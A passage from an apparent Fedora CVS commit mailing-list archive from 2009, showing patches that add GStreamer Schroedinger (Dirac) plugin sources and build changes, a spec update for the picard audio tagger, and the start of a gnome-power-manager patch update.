 gst/gstschroenc.c                        |  791 ++++++++++++++++++++
 gst/gstschroparse.c                      |  610 +++++++++++++++
 gst/gstschroutils.c                      |  149 +++
 gst/gstschroutils.h                      |   34 
 18 files changed, 6432 insertions(+)

--- NEW FILE gst-plugins-schroedinger-1.0.8.patch ---
diff -uNr schroedinger-1.0.8.orig/gst/gstschro.c schroedinger-1.0.8/gst/gstschro.c
--- schroedinger-1.0.8.orig/gst/gstschro.c	1970-01-01 01:00:00.000000000 +0100
+++ schroedinger-1.0.8/gst/gstschro.c	2009-09-11 17:35:39.000000000 +0200
@@ -0,0 +1,54 @@
+/* GStreamer
+ * Copyright (C) 2005 David Schleef <ds at schleef.org>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public
+ * License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <gst/gst.h>
+#include <schroedinger/schro.h>
+
+GType gst_schro_enc_get_type (void);
+GType gst_schro_dec_get_type (void);
+GType gst_schro_parse_get_type (void);
+
+GST_DEBUG_CATEGORY (schro_debug);
+#define GST_CAT_DEFAULT schro_debug
+
+static gboolean
+plugin_init (GstPlugin * plugin)
+{
+  schro_init ();
+
+  GST_DEBUG_CATEGORY_INIT (schro_debug, "schro", 0, "Schroedinger");
+  gst_element_register (plugin, "schrodec", GST_RANK_PRIMARY,
+      gst_schro_dec_get_type ());
+  gst_element_register (plugin, "schroparse", GST_RANK_NONE,
+      gst_schro_parse_get_type ());
+  gst_element_register (plugin, "schroenc", GST_RANK_PRIMARY,
+      gst_schro_enc_get_type ());
+
+  return TRUE;
+}
+
+GST_PLUGIN_DEFINE (GST_VERSION_MAJOR,
+    GST_VERSION_MINOR,
+    "schro",
+    "Schroedinger plugin",
+    plugin_init, VERSION, "LGPL", GST_PACKAGE_NAME, GST_PACKAGE_ORIGIN)
diff -uNr schroedinger-1.0.8.orig/gst/gstschrodec.c schroedinger-1.0.8/gst/gstschrodec.c
--- schroedinger-1.0.8.orig/gst/gstschrodec.c	1970-01-01 01:00:00.000000000 +0100
+++ schroedinger-1.0.8/gst/gstschrodec.c	2009-10-12 12:23:39.000000000 +0200
@@ -0,0 +1,728 @@
+/* Schrodinger
+ * Copyright (C) 2006 David Schleef <ds at schleef.org>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public
+ * License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <gst/gst.h>
+#include <gst/base/gstadapter.h>
+#include <gst/video/video.h>
+#include <gst/video/gstbasevideodecoder.h>
+#include <string.h>
+#include <schroedinger/schro.h>
+#include <math.h>
+#include "gstschroutils.h"
+
+#include <schroedinger/schroparse.h>
+
+GST_DEBUG_CATEGORY_EXTERN (schro_debug);
+#define GST_CAT_DEFAULT schro_debug
+
+#define GST_TYPE_SCHRO_DEC \
+  (gst_schro_dec_get_type())
+#define GST_SCHRO_DEC(obj) \
+  (G_TYPE_CHECK_INSTANCE_CAST((obj),GST_TYPE_SCHRO_DEC,GstSchroDec))
+#define GST_SCHRO_DEC_CLASS(klass) \
+  (G_TYPE_CHECK_CLASS_CAST((klass),GST_TYPE_SCHRO_DEC,GstSchroDecClass))
+#define GST_IS_SCHRO_DEC(obj) \
+  (G_TYPE_CHECK_INSTANCE_TYPE((obj),GST_TYPE_SCHRO_DEC))
+#define GST_IS_SCHRO_DEC_CLASS(obj) \
+  (G_TYPE_CHECK_CLASS_TYPE((klass),GST_TYPE_SCHRO_DEC))
+
+typedef struct _GstSchroDec GstSchroDec;
+typedef struct _GstSchroDecClass GstSchroDecClass;
+
+struct _GstSchroDec
+{
+  GstBaseVideoDecoder base_video_decoder;
+
+  SchroDecoder *decoder;
+
+  GstBuffer *seq_header_buffer;
+};
+
+struct _GstSchroDecClass
+{
+  GstBaseVideoDecoder base_video_decoder_class;
+};
+
+
+/* GstSchroDec signals and args */
+enum
+{
+  LAST_SIGNAL
+};
+
+enum
+{
+  ARG_0
+};
+
+static void gst_schro_dec_finalize (GObject * object);
+static void gst_schro_dec_set_property (GObject * object, guint prop_id,
+    const GValue * value, GParamSpec * pspec);
+static void gst_schro_dec_get_property (GObject * object, guint prop_id,
+    GValue * value, GParamSpec * pspec);
+
+static gboolean gst_schro_dec_sink_query (GstPad * pad, GstQuery * query);
+
+static gboolean gst_schro_dec_start (GstBaseVideoDecoder * dec);
+static gboolean gst_schro_dec_stop (GstBaseVideoDecoder * dec);
+static gboolean gst_schro_dec_reset (GstBaseVideoDecoder * dec);
+static GstFlowReturn gst_schro_dec_parse_data (GstBaseVideoDecoder *
+    base_video_decoder, gboolean at_eos);
+static int gst_schro_dec_scan_for_sync (GstBaseVideoDecoder *
+    base_video_decoder, gboolean at_eos, int offset, int n);
+static GstFlowReturn gst_schro_dec_handle_frame (GstBaseVideoDecoder * decoder,
+    GstVideoFrame * frame);
+static GstFlowReturn gst_schro_dec_finish (GstBaseVideoDecoder *
+    base_video_decoder, GstVideoFrame * frame);
+static void gst_schrodec_send_tags (GstSchroDec * schro_dec);
+
+static GstStaticPadTemplate gst_schro_dec_sink_template =
+GST_STATIC_PAD_TEMPLATE ("sink",
+    GST_PAD_SINK,
+    GST_PAD_ALWAYS,
+    GST_STATIC_CAPS ("video/x-dirac")
+    );
+
+static GstStaticPadTemplate gst_schro_dec_src_template =
+GST_STATIC_PAD_TEMPLATE ("src",
+    GST_PAD_SRC,
+    GST_PAD_ALWAYS,
+    GST_STATIC_CAPS (GST_VIDEO_CAPS_YUV ("{ I420, YUY2, AYUV }"))
+    );
+
+GST_BOILERPLATE (GstSchroDec, gst_schro_dec, GstBaseVideoDecoder,
+    GST_TYPE_BASE_VIDEO_DECODER);
+
+static void
+gst_schro_dec_base_init (gpointer g_class)
+{
+  static GstElementDetails compress_details =
+      GST_ELEMENT_DETAILS ("Dirac Decoder",
+      "Codec/Decoder/Video",
+      "Decode Dirac streams",
+      "David Schleef <ds at schleef.org>");
+  GstElementClass *element_class = GST_ELEMENT_CLASS (g_class);
+
+  gst_element_class_add_pad_template (element_class,
+      gst_static_pad_template_get (&gst_schro_dec_src_template));
+  gst_element_class_add_pad_template (element_class,
+      gst_static_pad_template_get (&gst_schro_dec_sink_template));
+
+  gst_element_class_set_details (element_class, &compress_details);
+}
+
+static void
+gst_schro_dec_class_init (GstSchroDecClass * klass)
+{
+  GObjectClass *gobject_class;
[...6105 lines suppressed...]
+    GstFormat src_format, gint64 src_value,
+    GstFormat * dest_format, gint64 * dest_value)
+{
+  gboolean res = FALSE;
+
+  if (src_format == *dest_format) {
+    *dest_value = src_value;
+    return TRUE;
+  }
+
+  GST_DEBUG ("src convert");
+
+#if 0
+  if (src_format == GST_FORMAT_DEFAULT && *dest_format == GST_FORMAT_TIME) {
+    if (dec->fps_d != 0) {
+      *dest_value = gst_util_uint64_scale (granulepos_to_frame (src_value),
+          dec->fps_d * GST_SECOND, dec->fps_n);
+      res = TRUE;
+    } else {
+      res = FALSE;
+    }
+  } else {
+    GST_WARNING ("unhandled conversion from %d to %d", src_format,
+        *dest_format);
+    res = FALSE;
+  }
+#endif
+
+  return res;
+}
+
+gboolean
+gst_base_video_state_from_caps (GstVideoState * state, GstCaps * caps)
+{
+
+  gst_video_format_parse_caps (caps, &state->format,
+      &state->width, &state->height);
+
+  if (!gst_video_parse_caps_framerate (caps, &state->fps_n, &state->fps_d))
+    return FALSE;
+
+  state->par_n = 1;
+  state->par_d = 1;
+  gst_video_parse_caps_pixel_aspect_ratio (caps, &state->par_n, &state->par_d);
+
+  {
+    GstStructure *structure = gst_caps_get_structure (caps, 0);
+    state->interlaced = FALSE;
+    gst_structure_get_boolean (structure, "interlaced", &state->interlaced);
+  }
+
+  state->clean_width = state->width;
+  state->clean_height = state->height;
+  state->clean_offset_left = 0;
+  state->clean_offset_top = 0;
+
+  /* FIXME need better error handling */
+  return TRUE;
+}
+
+GstClockTime
+gst_video_state_get_timestamp (const GstVideoState * state, int frame_number)
+{
+  if (frame_number < 0) {
+    return state->segment.start -
+        (gint64) gst_util_uint64_scale (-frame_number,
+        state->fps_d * GST_SECOND, state->fps_n);
+  } else {
+    return state->segment.start +
+        gst_util_uint64_scale (frame_number,
+        state->fps_d * GST_SECOND, state->fps_n);
+  }
+}
diff -uNr schroedinger-1.0.8.orig/gst-libs/gst/video/gstbasevideoutils.h schroedinger-1.0.8/gst-libs/gst/video/gstbasevideoutils.h
--- schroedinger-1.0.8.orig/gst-libs/gst/video/gstbasevideoutils.h	1970-01-01 01:00:00.000000000 +0100
+++ schroedinger-1.0.8/gst-libs/gst/video/gstbasevideoutils.h	2009-09-11 17:35:39.000000000 +0200
@@ -0,0 +1,95 @@
+/* GStreamer
+ * Copyright (C) 2008 David Schleef <ds at schleef.org>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public
+ * License along with this library; if not, write to the
+ * Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ */
+
+#ifndef _GST_BASE_VIDEO_UTILS_H_
+#define _GST_BASE_VIDEO_UTILS_H_
+
+#ifndef GST_USE_UNSTABLE_API
+#warning "The base video utils API is unstable and may change in future."
+#warning "You can define GST_USE_UNSTABLE_API to avoid this warning."
+#endif
+
+#include <gst/gst.h>
+#include <gst/video/video.h>
+#include <gst/base/gstadapter.h>
+
+G_BEGIN_DECLS
+
+typedef struct _GstVideoState GstVideoState;
+typedef struct _GstVideoFrame GstVideoFrame;
+
+struct _GstVideoState
+{
+  GstVideoFormat format;
+  int width, height;
+  int fps_n, fps_d;
+  int par_n, par_d;
+  gboolean interlaced;
+  gboolean top_field_first;
+
+  int clean_width, clean_height;
+  int clean_offset_left, clean_offset_top;
+
+  int bytes_per_picture;
+
+  GstSegment segment;
+
+  int picture_number;
+};
+
+struct _GstVideoFrame
+{
+  guint64 decode_timestamp;
+  guint64 presentation_timestamp;
+  guint64 presentation_duration;
+
+  gint system_frame_number;
+  gint decode_frame_number;
+  gint presentation_frame_number;
+
+  int distance_from_sync;
+  gboolean is_sync_point;
+  gboolean is_eos;
+
+  GstBuffer *sink_buffer;
+  GstBuffer *src_buffer;
+
+  int field_index;
+  int n_fields;
+
+  void *coder_hook;
+};
+
+gboolean gst_base_video_rawvideo_convert (GstVideoState *state,
+    GstFormat src_format, gint64 src_value,
+    GstFormat * dest_format, gint64 *dest_value);
+gboolean gst_base_video_encoded_video_convert (GstVideoState *state,
+    GstFormat src_format, gint64 src_value,
+    GstFormat * dest_format, gint64 *dest_value);
+
+gboolean gst_base_video_state_from_caps (GstVideoState *state,
+    GstCaps *caps);
+
+GstClockTime gst_video_state_get_timestamp (const GstVideoState *state,
+    int frame_number);
+
+G_END_DECLS
+
+#endif
+
diff -uNr schroedinger-1.0.8.orig/gst-libs/gst/video/Makefile.am schroedinger-1.0.8/gst-libs/gst/video/Makefile.am
--- schroedinger-1.0.8.orig/gst-libs/gst/video/Makefile.am	1970-01-01 01:00:00.000000000 +0100
+++ schroedinger-1.0.8/gst-libs/gst/video/Makefile.am	2009-09-11 17:35:39.000000000 +0200
@@ -0,0 +1,24 @@
+
+lib_LTLIBRARIES = libgstbasevideo- at GST_MAJORMINOR@.la
+
+CLEANFILES = $(BUILT_SOURCES)
+
+libgstbasevideo_ at GST_MAJORMINOR@_la_SOURCES = \
+	gstbasevideoutils.c \
+	gstbasevideocodec.c \
+	gstbasevideodecoder.c \
+	gstbasevideoencoder.c \
+	gstbasevideoparse.c
+
+libgstbasevideo_ at GST_MAJORMINOR@includedir = $(includedir)/gstreamer- at GST_MAJORMINOR@/gst/video
+libgstbasevideo_ at GST_MAJORMINOR@include_HEADERS = \
+	gstbasevideoutils.h \
+	gstbasevideocodec.h \
+	gstbasevideodecoder.h \
+	gstbasevideoencoder.h \
+	gstbasevideoparse.h
+
+libgstbasevideo_ at GST_MAJORMINOR@_la_CFLAGS = $(GST_PLUGINS_BASE_CFLAGS) $(GST_CFLAGS) -DGST_USE_UNSTABLE_API -I$(top_srcdir)/gst-libs
+libgstbasevideo_ at GST_MAJORMINOR@_la_LIBADD = $(GST_PLUGINS_BASE_LIBS) $(GST_BASE_LIBS) $(GST_LIBS) -lgstvideo- at GST_MAJORMINOR@
+libgstbasevideo_ at GST_MAJORMINOR@_la_LDFLAGS = $(GST_LIB_LDFLAGS) $(GST_ALL_LDFLAGS) $(GST_LT_LDFLAGS) -static
+

gst-plugins-schroedinger-plug.patch:
 Makefile.am  |    6 +++++-
 configure.ac |   43 +++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 48 insertions(+), 1 deletion(-)

--- NEW FILE gst-plugins-schroedinger-plug.patch ---
--- schroedinger-1.0.8.orig/configure.ac	2009-09-29 07:23:37.000000000 +0200
+++ schroedinger-1.0.8/configure.ac	2009-04-23 05:20:57.000000000 +0200
@@ -150,6 +150,47 @@
 SCHRO_CFLAGS="$SCHRO_CFLAGS -I\$(top_srcdir)"
 AC_SUBST(SCHRO_CFLAGS)
 
+########################
+# GStreamer stuff
+########################
+
+GST_MAJORMINOR=0.10
+AC_SUBST(GST_MAJORMINOR)
+dnl *** check for arguments to configure ***
+
+if test "x$with_opengl" = xyes; then
+  GST_GL_DEP="gst-plugins-gl-0.10"
+fi
+
+AC_ARG_ENABLE(gstreamer, AC_HELP_STRING([--disable-gstreamer],
+              [disable gstreamer support (default=enabled)]))
+if test "x$enable_gstreamer" != xno
+then
+  PKG_CHECK_MODULES(GST, gstreamer-0.10 >= 0.10.19 gstreamer-base-0.10 >= 0.10.19 gstreamer-video-0.10 >= 0.10.19 ${GST_GL_DEP},
+      HAVE_GST=yes, HAVE_GST=no)
+else
+  HAVE_GST=no
+fi
+
+AM_CONDITIONAL(HAVE_GST, test "x$HAVE_GST" = "xyes")
+AC_SUBST(GST_CFLAGS)
+AC_SUBST(GST_LIBS)
+
+plugindir="\$(libdir)/gstreamer-$GST_MAJORMINOR"
+AC_SUBST(plugindir)
+
+GST_ALL_LDFLAGS="-no-undefined"
+AC_SUBST(GST_ALL_LDFLAGS)
+
+GST_PLUGIN_LDFLAGS="-module -avoid-version -export-symbols-regex '^[_]*gst_plugin_desc\$\$' $GST_ALL_LDFLAGS"
+AC_SUBST(GST_PLUGIN_LDFLAGS)
+
+AC_DEFINE(GST_PACKAGE_ORIGIN, "unknown", [Package origin in GStreamer plugin])
+
+AC_ARG_ENABLE(video-compat, AC_HELP_STRING([--disable-video-compat],
+    [disable gstvideo compatibility (default=enabled)]))
+AM_CONDITIONAL(ENABLE_VIDEO_COMPAT, test "x$enable_video_compat" != "xno")
+
 
 ########################
 # Check for CUDA
@@ -238,6 +279,8 @@
 schroedinger/Makefile
 schroedinger/cuda/Makefile
 schroedinger/opengl/Makefile
+gst-libs/gst/video/Makefile
+gst/Makefile
 testsuite/Makefile
 testsuite/cache/Makefile
 testsuite/cuda/Makefile
--- schroedinger-1.0.8.orig/Makefile.am	2009-09-29 07:08:51.000000000 +0200
+++ schroedinger-1.0.8/Makefile.am	2009-04-22 04:35:57.000000000 +0200
@@ -4,7 +4,11 @@
 
 DISTCHECK_CONFIGURE_FLAGS=--enable-gtk-doc
 
-DIST_SUBDIRS = schroedinger doc tools testsuite
+if HAVE_GST
+SUBDIRS += gst-libs/gst/video gst
+endif
+
+DIST_SUBDIRS = schroedinger doc tools gst testsuite gst-libs/gst/video
 
 EXTRA_DIST = COPYING COPYING.GPL COPYING.LGPL COPYING.MIT COPYING.MPL \
 	     autogen.sh schroedinger.spec TODO NEWS


--- NEW FILE import.log ---
schroedinger-1_0_8-3_fc11:F-12:schroedinger-1.0.8-3.fc11.src.rpm:1256688175


Index: schroedinger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/F-12/schroedinger.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- schroedinger.spec	20 Oct 2009 23:31:14 -0000	1.17
+++ schroedinger.spec	28 Oct 2009 00:03:41 -0000	1.18
@@ -2,7 +2,7 @@
 
 Name:           schroedinger
 Version:        1.0.8
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Portable libraries for the high quality Dirac video codec
 
 Group:          System Environment/Libraries
@@ -10,17 +10,18 @@ Group:          System Environment/Libra
 License:        GPL+ or LGPLv2+ or MIT or MPLv1.1
 URL:            http://www.diracvideo.org/
 Source0:	http://www.diracvideo.org/download/schroedinger/schroedinger-%{version}.tar.gz
+Patch0:         gst-plugins-schroedinger-1.0.8.patch
+Patch1:         gst-plugins-schroedinger-plug.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+BuildRequires:  libtool
+
 BuildRequires:  liboil-devel >= 0.3.16
 BuildRequires:  glew-devel >= 1.5.1
 BuildRequires:  gstreamer-devel >= 0.10
 BuildRequires:  gstreamer-plugins-base-devel >= 0.10
 BuildRequires:  gtk-doc
 
-#Moved to -bad - need to be investigated.
-Obsoletes:  gstreamer-plugins-schroedinger < %{version}
-
 %description
 The Schr?dinger project will implement portable libraries for the high
 quality Dirac video codec created by BBC Research and
@@ -41,12 +42,31 @@ Requires:	liboil-devel >= 0.3.16
 %description devel
 Development files for schroedinger
 
+%package -n gstreamer-plugins-schroedinger
+Group:          Applications/Multimedia
+Summary:        GStreamer Plugins that implement Dirac video encoding and decoding
+
+%description -n gstreamer-plugins-schroedinger
+GStreamer Plugins that implement Dirac video encoding and decoding
 
 %prep
 %setup -q
+%patch0 -p1
+%patch1 -p1 -b .plug
+
+autoreconf -vif
+
 
 %build
 %configure --disable-static --enable-gtk-doc
+
+# hack to define the package name
+echo "#define GST_PACKAGE_NAME \"gst-plugins-schroedinger fedora rpm\"" >> config.h
+
+# remove rpath from libtool
+sed -i.rpath 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
+sed -i.rpath 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
+
 make %{?_smp_mflags}
 
 %install
@@ -73,8 +93,16 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/schroedinger-%{abi}.pc
 
+%files -n gstreamer-plugins-schroedinger
+%defattr(-,root,root,-)
+%{_libdir}/gstreamer-0.10/libgstschro.so
+%exclude %{_libdir}/libgstbasevideo-0.10.a
+%exclude %{_includedir}/gstreamer-0.10
 
 %changelog
+* Sun Oct 25 2009 kwizart < kwizart at gmail.com > - 1.0.8-3
+- Re-introduce gstreamer sub-package until seen in -good
+
 * Tue Oct 20 2009 kwizart < kwizart at gmail.com > - 1.0.8-2
 - Update to 1.0.8
 - gstreamer-plugins-schroedinger is now in bad.



From kwizart at fedoraproject.org  Wed Oct 28 00:05:31 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Wed, 28 Oct 2009 00:05:31 +0000 (UTC)
Subject: rpms/schroedinger/devel schroedinger.spec,1.18,1.19
Message-ID: <20091028000531.505C711C00E6@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/schroedinger/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17427

Modified Files:
	schroedinger.spec 
Log Message:
Clean noise



Index: schroedinger.spec
===================================================================
RCS file: /cvs/pkgs/rpms/schroedinger/devel/schroedinger.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- schroedinger.spec	27 Oct 2009 23:24:10 -0000	1.18
+++ schroedinger.spec	28 Oct 2009 00:05:30 -0000	1.19
@@ -15,8 +15,9 @@ Patch1:         gst-plugins-schroedinger
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  libtool
-BuildRequires:  glew-devel
+
 BuildRequires:  liboil-devel >= 0.3.16
+BuildRequires:  glew-devel >= 1.5.1
 BuildRequires:  gstreamer-devel >= 0.10
 BuildRequires:  gstreamer-plugins-base-devel >= 0.10
 BuildRequires:  gtk-doc



From alexlan at fedoraproject.org  Wed Oct 28 00:12:17 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Wed, 28 Oct 2009 00:12:17 +0000 (UTC)
Subject: rpms/picard/devel .cvsignore, 1.8, 1.9 picard.spec, 1.17,
	1.18 sources, 1.11, 1.12
Message-ID: <20091028001217.201E611C00E6@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/picard/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20905

Modified Files:
	.cvsignore picard.spec sources 
Log Message:
- Update to 0.12 (#531224)
- Icons now in icons/hicolor directory



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/picard/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	9 Dec 2008 08:34:14 -0000	1.8
+++ .cvsignore	28 Oct 2009 00:12:16 -0000	1.9
@@ -1 +1 @@
-picard-0.11.tar.gz
+picard-0.12.tar.gz


Index: picard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/picard/devel/picard.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- picard.spec	26 Jul 2009 18:41:25 -0000	1.17
+++ picard.spec	28 Oct 2009 00:12:16 -0000	1.18
@@ -2,8 +2,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:             picard
-Version:          0.11
-Release:          4%{?dist}
+Version:          0.12
+Release:          1%{?dist}
 Summary:          MusicBrainz-based audio tagger
 Group:            Applications/Multimedia
 
@@ -65,10 +65,6 @@ desktop-file-install --vendor="fedora"  
   --delete-original --remove-category="Application"   \
   --dir=$RPM_BUILD_ROOT/%{_datadir}/applications      \
   $RPM_BUILD_ROOT/%{_datadir}/applications/*
-# move from icons/ to pixmaps/
-mkdir $RPM_BUILD_ROOT/%{_datadir}/pixmaps
-install -pm 0644 $RPM_BUILD_ROOT%{_datadir}/icons/picard-*.png $RPM_BUILD_ROOT%{_datadir}/pixmaps/
-rm -rf $RPM_BUILD_ROOT%{_datadir}/icons
 
 # install plugins
 PLUGINDIR=$RPM_BUILD_ROOT%{python_sitearch}/picard/plugins/
@@ -107,7 +103,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc AUTHORS.txt COPYING.txt NEWS.txt INSTALL.txt
 %{_bindir}/picard
 %{_datadir}/applications/fedora-picard.desktop
-%{_datadir}/pixmaps/*
+%{_datadir}/icons/hicolor/*/apps/picard.png
 %if 0%{?fedora} >= 9
 %{python_sitearch}/*egg-info
 %endif
@@ -115,6 +111,10 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/picard/*
 
 %changelog
+* Tue Oct 27 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 0.12-1
+- Update to 0.12 (#531224)
+- Icons now in icons/hicolor directory
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/picard/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	9 Dec 2008 08:40:26 -0000	1.11
+++ sources	28 Oct 2009 00:12:16 -0000	1.12
@@ -1,19 +1 @@
-02ddcff3e201b2cf54f1b52b02d44fad  picard-0.11.tar.gz
-f58cb1c53d94e22b5c6cd6fcd91a2d5e  SearchAmazon3.py
-c2b8a059dd047c7f7b48a0d872373171  SearchAMG.py
-eedcec32b66e89c3ba27ee4c37c11241  SearchCastAlbums3.py
-8a21ef5bf653826efe284ed0ecf3405d  SearchDiscogs3.py
-cb6eda6b20d366d8842d9d7fb0793f58  SearchFilmMusziek3.py
-244c26b050d8989f89b793f9e517175e  SearchGMR.py
-805bd45b47b38ce25acf40131b489d3d  SearchGoogle3.py
-fd656d4fd9f54c85ca41b219eda71b8a  SearchLortelArchives3.py
-3451a6d0f826fa19f7ebf13a404468e0  SearchSoundtrackCollector3.py
-b831e73aece0f0a1dad14b63895717b8  SearchSoundtrackINFO3.py
-691cb36b7724362a9986c7a8fbb559f2  ui_options_lastfm.py
-7c9ca3c1355900761a0f697dc8de30cd  bonusdisc.py
-64cf9fcb6212dde57aed679a02e88b31  addrelease.py
-edd3f6351ddbfe8c3687895cef58536a  cuesheet.py
-4dcbf286e1facae1c03f116fe2d078d6  discnumber.py
-7885928a813344a80679794c21dfd193  featartist.py
-b5cfbdb00a21928078d9590a91083773  __init__.py
-a9643e50a28a8b4a12759117c53b029d  coverart.py
+88284fb378462a091a092e03387f0da9  picard-0.12.tar.gz



From alexlan at fedoraproject.org  Wed Oct 28 00:15:29 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Wed, 28 Oct 2009 00:15:29 +0000 (UTC)
Subject: rpms/picard/devel sources,1.12,1.13
Message-ID: <20091028001529.4E52711C00E6@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/picard/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21590

Modified Files:
	sources 
Log Message:
Fix missing sources that got deleted.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/picard/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	28 Oct 2009 00:12:16 -0000	1.12
+++ sources	28 Oct 2009 00:15:28 -0000	1.13
@@ -1 +1,19 @@
 88284fb378462a091a092e03387f0da9  picard-0.12.tar.gz
+f58cb1c53d94e22b5c6cd6fcd91a2d5e  SearchAmazon3.py
+c2b8a059dd047c7f7b48a0d872373171  SearchAMG.py
+eedcec32b66e89c3ba27ee4c37c11241  SearchCastAlbums3.py
+8a21ef5bf653826efe284ed0ecf3405d  SearchDiscogs3.py
+cb6eda6b20d366d8842d9d7fb0793f58  SearchFilmMusziek3.py
+244c26b050d8989f89b793f9e517175e  SearchGMR.py
+805bd45b47b38ce25acf40131b489d3d  SearchGoogle3.py
+fd656d4fd9f54c85ca41b219eda71b8a  SearchLortelArchives3.py
+3451a6d0f826fa19f7ebf13a404468e0  SearchSoundtrackCollector3.py
+b831e73aece0f0a1dad14b63895717b8  SearchSoundtrackINFO3.py
+691cb36b7724362a9986c7a8fbb559f2  ui_options_lastfm.py
+7c9ca3c1355900761a0f697dc8de30cd  bonusdisc.py
+64cf9fcb6212dde57aed679a02e88b31  addrelease.py
+edd3f6351ddbfe8c3687895cef58536a  cuesheet.py
+4dcbf286e1facae1c03f116fe2d078d6  discnumber.py
+7885928a813344a80679794c21dfd193  featartist.py
+b5cfbdb00a21928078d9590a91083773  __init__.py
+a9643e50a28a8b4a12759117c53b029d  coverart.py



From hadess at fedoraproject.org  Wed Oct 28 00:19:23 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 28 Oct 2009 00:19:23 +0000 (UTC)
Subject: rpms/gnome-power-manager/F-12
	0001-Use-gnome-settings-daemon-popup-code.patch, 1.1, 1.2
Message-ID: <20091028001923.EB5C311C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-power-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23489

Modified Files:
	0001-Use-gnome-settings-daemon-popup-code.patch 
Log Message:
update upstream patch

0001-Use-gnome-settings-daemon-popup-code.patch:
 b/data/Makefile.am            |    3 
 b/data/acme.ui                |   41 +
 b/src/Makefile.am             |    5 
 b/src/gpm-backlight.c         |   39 +
 b/src/gsd-media-keys-window.c | 1109 ++++++++++++++++++++++++++++++++++++++++++
 b/src/gsd-media-keys-window.h |   70 ++
 src/gpm-popup-window.c        |  725 ---------------------------
 src/gpm-popup-window.h        |   61 --
 8 files changed, 1256 insertions(+), 797 deletions(-)

Index: 0001-Use-gnome-settings-daemon-popup-code.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/0001-Use-gnome-settings-daemon-popup-code.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Use-gnome-settings-daemon-popup-code.patch	27 Oct 2009 23:43:19 -0000	1.1
+++ 0001-Use-gnome-settings-daemon-popup-code.patch	28 Oct 2009 00:19:23 -0000	1.2
@@ -1,4 +1,4 @@
